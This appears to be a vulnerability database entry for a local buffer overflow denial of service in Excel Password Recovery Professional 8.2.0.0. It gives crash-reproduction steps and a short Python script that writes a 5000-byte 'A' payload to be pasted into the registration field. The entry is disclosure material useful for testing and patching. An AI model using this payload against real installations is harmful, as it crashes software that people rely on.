发布 2018-12-18 漏洞条目

Exel Password Recovery 8.2.0.0 – Local Buffer Overflow Denial of Service

Exploit Source

# Exploit Title: Excel Password Recovery Professional

# Date: 15-12-2018

# Vendor Homepage:https://www.recoverlostpassword.com/

# Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe

# Exploit Author: Achilles

# Tested Version: 8.2.0.0

# Tested on: Windows 7 64

# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:

# 1.- Run python code : Excel_Password_Recovery.py

# 2.- Open EVIL.txt and copy content to clipboard

# 3.- Open Excel Password Recovery Professional

# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code'

# 5.- Click 'Register' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 5000

try:

f=open("Evil.txt","w")

print "[+] Creating %s bytes evil payload.." %len(buffer)

f.write(buffer)

f.close()

print "[+] File created!"

except:

print "File cannot be created"

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